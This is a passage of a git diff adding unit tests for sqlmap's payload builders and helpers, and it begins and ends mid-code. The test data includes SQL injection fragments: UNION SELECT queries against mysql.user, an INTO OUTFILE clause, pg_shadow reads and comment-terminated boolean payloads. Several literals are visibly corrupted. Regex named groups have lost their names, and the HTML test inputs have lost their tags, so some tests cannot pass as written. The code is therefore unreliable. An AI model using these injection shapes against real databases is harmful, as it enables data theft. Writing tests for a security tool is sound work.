os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.option as option +from lib.core.data import conf, kb, paths +from lib.core.enums import ( + AUTH_TYPE, + DBMS, + EXPECTED, + HTTP_HEADER, + SORT_ORDER, +) +from lib.core.exception import ( + SqlmapFilePathException, + SqlmapMissingMandatoryOptionException, + SqlmapMissingDependence, + SqlmapSyntaxException, + SqlmapSystemException, +) +from lib.core.settings import NULL +from lib.core.common import ( + applyFunctionRecursively, + boldifyMessage, + calculateDeltaSeconds, + checkFile, + checkOldOptions, + cleanReplaceUnicode, + commonFinderOnly, + enumValueToNameLookup, + extractErrorMessage, + extractExpectedValue, + extractRegexResult, + extractTextTagContent, + filePathToSafeString, + findMultipartPostBoundary, + getFilteredPageContent, + getHeader, + getRequestHeader, + getText, + getTechnique, + intersect, + isWindowsDriveLetterPath, + isZipFile, + listToStrValue, + parseJson, + parsePasswordHash, + removePostHintPrefix, + safeExpandUser, + safeFilepathEncode, + serializeObject, + setTechnique, + trimAlphaNum, + unserializeObject, +) +from thirdparty.six.moves import urllib as _urllib + + +class _FakeRequest(object): + """Minimal stand-in for urllib2.Request used by getRequestHeader().""" + + def __init__(self, headers): + self.headers = headers + + def header_items(self): + return self.headers.items() + + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
foobar
"), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

Only a test page

") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +class TestOptionSetWriteFile(unittest.TestCase): + + def setUp(self): + self._saved = (conf.fileWrite, conf.fileDest, conf.get("fileWriteType")) + + def tearDown(self): + conf.fileWrite, conf.fileDest, conf.fileWriteType = self._saved + + def test_noop_when_no_filewrite(self): + conf.fileWrite = None + self.assertIsNone(option._setWriteFile()) + + def test_raises_on_missing_local_file(self): + conf.fileWrite = "/no/such/local_file_xyz" + conf.fileDest = "/var/www/x" + with self.assertRaises(SqlmapFilePathException): + option._setWriteFile() + + def test_raises_on_missing_dest(self): + fd, path = tempfile.mkstemp() + os.close(fd) + try: + conf.fileWrite = path + conf.fileDest = None + with self.assertRaises(SqlmapMissingMandatoryOptionException): + option._setWriteFile() + finally: + os.unlink(path) + + def test_sets_file_write_type(self): + fd, path = tempfile.mkstemp() + os.close(fd) + try: + conf.fileWrite = path + conf.fileDest = "/var/www/x" + option._setWriteFile() + self.assertIn(conf.fileWriteType, ("text", "binary")) + finally: + os.unlink(path) + + +class TestOptionSetHTTPTimeout(unittest.TestCase): + + def setUp(self): + self._savedTimeout = conf.timeout + self._savedSocket = socket.getdefaulttimeout() + + def tearDown(self): + conf.timeout = self._savedTimeout + socket.setdefaulttimeout(self._savedSocket) + + def test_explicit_timeout(self): + conf.timeout = 10 + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 10.0) + + def test_below_minimum_is_clamped(self): + conf.timeout = 1 + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 3.0) + + def test_default_when_unset(self): + conf.timeout = None + option._setHTTPTimeout() + self.assertEqual(conf.timeout, 30.0) + + +class TestOptionSetHTTPAuthentication(unittest.TestCase): + + def setUp(self): + self._saved = { + "authType": conf.authType, + "authCred": conf.authCred, + "authFile": conf.authFile, + "authUsername": conf.authUsername, + "authPassword": conf.authPassword, + "httpHeaders": list(conf.httpHeaders), + "passwordMgr": kb.passwordMgr, + } + # provide a real password manager so the basic/digest branches work + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() + + def tearDown(self): + conf.authType = self._saved["authType"] + conf.authCred = self._saved["authCred"] + conf.authFile = self._saved["authFile"] + conf.authUsername = self._saved["authUsername"] + conf.authPassword = self._saved["authPassword"] + conf.httpHeaders = self._saved["httpHeaders"] + kb.passwordMgr = self._saved["passwordMgr"] + + def test_noop_when_nothing_set(self): + conf.authType = None + conf.authCred = None + conf.authFile = None + self.assertIsNone(option._setHTTPAuthentication()) + + def test_basic_credentials_parsed(self): + conf.authType = "basic" + conf.authCred = "admin:secret" + conf.authFile = None + option._setHTTPAuthentication() + self.assertEqual(conf.authUsername, "admin") + self.assertEqual(conf.authPassword, "secret") + + def test_ntlm_credentials_parsed(self): + conf.authType = "ntlm" + conf.authCred = "DOMAIN\\user:pa:ss" + conf.authFile = None + conf.authUsername = None + conf.authPassword = None + # The python-ntlm handler module is optional; credential parsing happens + # before the handler import, so the parsed creds are set regardless. + try: + option._setHTTPAuthentication() + except SqlmapMissingDependence: + pass + self.assertEqual(conf.authUsername, "DOMAIN\\user") + self.assertEqual(conf.authPassword, "pa:ss") + + def test_ntlm_bad_format_raises(self): + conf.authType = "ntlm" + conf.authCred = "nobackslash:pass" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_bearer_appends_authorization_header(self): + conf.authType = "bearer" + conf.authCred = "tok123" + conf.authFile = None + conf.httpHeaders = [] + option._setHTTPAuthentication() + self.assertIn((HTTP_HEADER.AUTHORIZATION, "Bearer tok123"), conf.httpHeaders) + + def test_unsupported_type_raises(self): + conf.authType = "wrongtype" + conf.authCred = "a:b" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_type_without_credentials_raises(self): + conf.authType = "basic" + conf.authCred = None + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_credentials_without_type_raises(self): + conf.authType = None + conf.authCred = "a:b" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + def test_authfile_without_type_defaults_to_pki(self): + conf.authType = None + conf.authCred = None + conf.authFile = __file__ # exists, so checkFile() inside PKI branch passes + option._setHTTPAuthentication() + self.assertEqual(conf.authType, AUTH_TYPE.PKI) + + def test_pki_type_without_authfile_raises(self): + conf.authType = "pki" + conf.authCred = "x" + conf.authFile = None + with self.assertRaises(SqlmapSyntaxException): + option._setHTTPAuthentication() + + +class TestOptionSetAuthCred(unittest.TestCase): + + def setUp(self): + self._saved = { + "scheme": conf.scheme, + "hostname": conf.hostname, + "port": conf.port, + "authUsername": conf.authUsername, + "authPassword": conf.authPassword, + "passwordMgr": kb.passwordMgr, + } + + def tearDown(self): + conf.scheme = self._saved["scheme"] + conf.hostname = self._saved["hostname"] + conf.port = self._saved["port"] + conf.authUsername = self._saved["authUsername"] + conf.authPassword = self._saved["authPassword"] + kb.passwordMgr = self._saved["passwordMgr"] + + def test_noop_without_password_manager(self): + kb.passwordMgr = None + # Must not raise when there is no password manager configured + self.assertIsNone(option._setAuthCred()) + + def test_adds_credentials_to_manager(self): + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() + conf.scheme = "http" + conf.hostname = "host" + conf.port = 80 + conf.authUsername = "u" + conf.authPassword = "p" + option._setAuthCred() + self.assertEqual( + kb.passwordMgr.find_user_password(None, "http://host:80"), + ("u", "p"), + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_core_more.py b/tests/test_core_more.py new file mode 100644 index 000000000..529415a8d --- /dev/null +++ b/tests/test_core_more.py @@ -0,0 +1,706 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit coverage for lib/core/agent.py, lib/core/common.py and +lib/utils/brute.py, targeting functions/branches NOT already exercised by: + + * tests/test_agent.py (payload delimiters, prefix/suffix defaults, + getFields(SELECT a,b), one MySQL concatQuery, + cleanupPayload RANDNUM) + * tests/test_agent_dialects.py (null/cast/concat, hexConvertField, + nullAndCastField, simpleConcatenate, + forgeUnionQuery(-1,3,...), limitQuery(0,...), + forgeCaseStatement, runAsDBMSUser-noop) + * tests/test_common_utils.py (paramToDict, getCharset, getLimitRange, + parseUnionPage, safeStringFormat, urlencode, + parseTargetUrl/Direct, safeSQLIdentificatorNaming) + * tests/test_common_parsers.py (request-file parsers, reflective masking, + findPageForms, saveConfig, getSQLSnippet, + Backend setters, urlencode/safeStringFormat extras) + +This file instead covers: + + agent.py: forgeUnionQuery (limited / multipleUnions / fromTable / collate / + INTO OUTFILE), limitQuery across several DBMS shapes (TOP/ROWNUM/ + OFFSET dialects + the " FROM "-less early return), whereQuery + (dumpWhere splicing), getComment, concatQuery(unpack=False), + cleanupPayload([ORIGVALUE]/[ORIGINAL]/[SPACE_REPLACE]), + adjustLateValues (SLEEPTIME/base64/RANDNUM), getFields on TOP / + DISTINCT / function / no-FROM shapes, prefixQuery/suffixQuery with + explicit prefix/suffix/clause/comment args, nullAndCastField noCast. + + common.py: isNoneValue, isNullValue, isNumPosStrValue, isNumber, isListLike, + filterPairValues, filterListValue, filterNone, filterStringValue, + zeroDepthSearch, splitFields, unArrayizeValue, flattenValue, + arrayizeValue, joinValue, aliasToDbmsEnum, getPageWordSet, + resetCookieJar (clear branch), normalizeUnicode. + + brute.py: tableExists / columnExists driven with conf.direct=True and the + external collaborators (inject.checkBooleanExpression, getFileItems, + runThreads) monkeypatched, plus _addPageTextWords. + +Everything runs in isolation (no network, no DBMS, no filesystem mutation of +the project). Any global conf/kb/Backend state that a call reads or writes is +snapshotted in setUp and restored in tearDown so test ordering is irrelevant. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.settings import ( + PAYLOAD_DELIMITER, + SLEEP_TIME_MARKER, + BOUNDED_BASE64_MARKER, + NULL, +) +from lib.core.common import ( + Backend, + isNoneValue, + isNullValue, + isNumPosStrValue, + isNumber, + isListLike, + filterPairValues, + filterListValue, + filterNone, + filterStringValue, + zeroDepthSearch, + splitFields, + unArrayizeValue, + flattenValue, + arrayizeValue, + joinValue, + aliasToDbmsEnum, + getPageWordSet, + resetCookieJar, + normalizeUnicode, +) + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +# --------------------------------------------------------------------------- # +# lib/core/agent.py +# --------------------------------------------------------------------------- # + +class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): + """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" + + def test_limited_subselect_wraps_query(self): + set_dbms(DBMS.MYSQL) + # limited=True wraps the payload as (SELECT ...) at `position`, fills the + # rest with `char`, and appends the FROM/comment/suffix + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, + None, None, "NULL", None, limited=True) + self.assertIn("(SELECT user FROM mysql.user)", out) + self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) + # position 1 of 3 => NULL,,NULL + self.assertEqual(out.count("NULL"), 2, msg=out) + + def test_multiple_unions_appends_second_select(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, + "NULL", None, multipleUnions="b") + # the multipleUnions payload produces a *second* UNION ALL SELECT + self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) + self.assertIn("b", out) + + def test_from_table_override(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", + None, fromTable=" FROM dummytable") + self.assertIn("FROM dummytable", out, msg=out) + + def test_into_outfile_forces_null_position(self): + set_dbms(DBMS.MYSQL) + # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part + out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", + 1, 2, None, None, None, "NULL", None) + self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) + + def test_collate_clause_on_mysql(self): + set_dbms(DBMS.MYSQL) + # collate=True on MySQL wraps a non-NULL, non-numeric value in the + # MYSQL_UNION_VALUE_CAST collation wrapper + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, + None, None, "NULL", None, collate=True) + self.assertIn("CONVERT", out.upper(), msg=out) + + +class TestLimitQuery(DbmsStateMixin, unittest.TestCase): + """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" + + def test_no_from_returns_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") + + def test_mysql_appends_limit_offset_one(self): + set_dbms(DBMS.MYSQL) + out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") + self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) + + def test_pgsql_offset_form(self): + set_dbms(DBMS.PGSQL) + out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") + self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) + + def test_oracle_rownum_wrap(self): + set_dbms(DBMS.ORACLE) + out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) + # Oracle wraps in a ROWNUM-bounded subselect ending with = + self.assertIn("ROWNUM", out.upper(), msg=out) + self.assertTrue(out.rstrip().endswith("=3"), msg=out) + + def test_firebird_first_skip(self): + set_dbms(DBMS.FIREBIRD) + out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") + self.assertIsInstance(out, str) + self.assertIn("foo", out) + # Firebird uses ROWS TO (the FIRST/SKIP emulation); pin + # the exact shape so a broken offset arithmetic is caught. + self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) + + def test_mssql_top_not_in(self): + set_dbms(DBMS.MSSQL) + out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") + # MSSQL emulates LIMIT via TOP + NOT IN + self.assertIn("TOP", out.upper(), msg=out) + self.assertIn("NOT IN", out.upper(), msg=out) + + +class TestWhereQuery(DbmsStateMixin, unittest.TestCase): + """whereQuery only acts when conf.dumpWhere is set.""" + + def setUp(self): + DbmsStateMixin.setUp(self) + self._dumpWhere = conf.dumpWhere + self._tbl = conf.tbl + + def tearDown(self): + conf.dumpWhere = self._dumpWhere + conf.tbl = self._tbl + DbmsStateMixin.tearDown(self) + + def test_no_dumpwhere_is_identity(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = None + self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t") + self.assertIn("WHERE id>10", out, msg=out) + + def test_existing_where_gets_anded(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t WHERE b=1") + self.assertIn("AND id>10", out, msg=out) + + def test_order_by_suffix_preserved(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t ORDER BY a") + # the genuine trailing ORDER BY is kept after the spliced WHERE + self.assertIn("WHERE id>10", out, msg=out) + # the ORDER BY must survive *after* the spliced WHERE clause; the + # substring check alone could pass even if the suffix were dropped. + self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) + + +class TestGetComment(unittest.TestCase): + def test_present(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") + + def test_absent_returns_empty(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict()), "") + + +class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): + def test_unpack_false_returns_input_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), + "SELECT a FROM t") + + def test_pgsql_unpack_uses_pipe_concat(self): + set_dbms(DBMS.PGSQL) + out = agent.concatQuery("SELECT usename FROM pg_shadow") + self.assertIn("||", out, msg=out) + self.assertIn(kb.chars.start, out, msg=out) + self.assertIn(kb.chars.stop, out, msg=out) + + +class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): + def test_origvalue_digit_inlined(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") + self.assertEqual(out, "x=42") + + def test_origvalue_nondigit_quoted(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") + self.assertIn("'abc'", out, msg=out) + + def test_original_marker_raw_substitution(self): + out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") + self.assertEqual(out, "p=raw") + + def test_space_replace_marker(self): + out = agent.cleanupPayload("a[SPACE_REPLACE]b") + self.assertEqual(out, "a%sb" % kb.chars.space) + + def test_non_string_returns_none(self): + self.assertIsNone(agent.cleanupPayload(None)) + + +class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): + def test_sleeptime_replaced_with_timesec(self): + out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) + self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) + self.assertNotIn(SLEEP_TIME_MARKER, out) + + def test_randnum_marker_substituted(self): + out = agent.adjustLateValues("v=[RANDNUM]") + self.assertNotIn("[RANDNUM]", out) + self.assertTrue(out.split("=")[1].isdigit(), msg=out) + + def test_bounded_base64_marker_encoded(self): + payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) + out = agent.adjustLateValues(payload) + # the marked region is base64-encoded and the markers are consumed + self.assertNotIn(BOUNDED_BASE64_MARKER, out) + self.assertEqual(out, "QUI=") + + def test_empty_payload_passthrough(self): + self.assertEqual(agent.adjustLateValues(""), "") + + +class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): + def test_select_top(self): + set_dbms(DBMS.MSSQL) + res = agent.getFields("SELECT TOP 1 name FROM sysobjects") + self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") + self.assertEqual(res[6], "name") + + def test_distinct(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT DISTINCT(name) FROM t") + self.assertEqual(res[6], "name") + + def test_function_is_single_element(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT COUNT(*) FROM t") + self.assertEqual(res[5], ["COUNT(*)"]) + + def test_no_from_keeps_whole_select_list(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT a,b,c") + self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") + self.assertEqual(res[5], ["a", "b", "c"]) + + +class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): + def test_prefix_with_explicit_prefix(self): + set_dbms(DBMS.MYSQL) + out = agent.prefixQuery("1=1", prefix="')") + self.assertIn("')", out, msg=out) + self.assertTrue(out.endswith("1=1"), msg=out) + + def test_prefix_group_by_clause_uses_prefix_verbatim(self): + set_dbms(DBMS.MYSQL) + # clause == [2] (GROUP BY / ORDER BY) => no trailing space added + out = agent.prefixQuery("1=1", prefix="X", clause=[2]) + self.assertEqual(out, "X1=1") + + def test_suffix_appends_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", comment="-- -") + self.assertTrue(out.startswith("1=1"), msg=out) + self.assertIn("-", out) + + def test_suffix_appends_suffix_no_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", suffix="')") + self.assertIn("')", out, msg=out) + + +class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): + def setUp(self): + DbmsStateMixin.setUp(self) + self._noCast = conf.noCast + + def tearDown(self): + conf.noCast = self._noCast + DbmsStateMixin.tearDown(self) + + def test_nocast_returns_field_unchanged(self): + set_dbms(DBMS.MYSQL) + conf.noCast = True + self.assertEqual(agent.nullAndCastField("colname"), "colname") + + def test_cast_present_when_nocast_off(self): + set_dbms(DBMS.MYSQL) + conf.noCast = False + out = agent.nullAndCastField("colname") + self.assertIn("CAST", out.upper(), msg=out) + self.assertIn("colname", out) + + +# --------------------------------------------------------------------------- # +# lib/core/common.py +# --------------------------------------------------------------------------- # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + 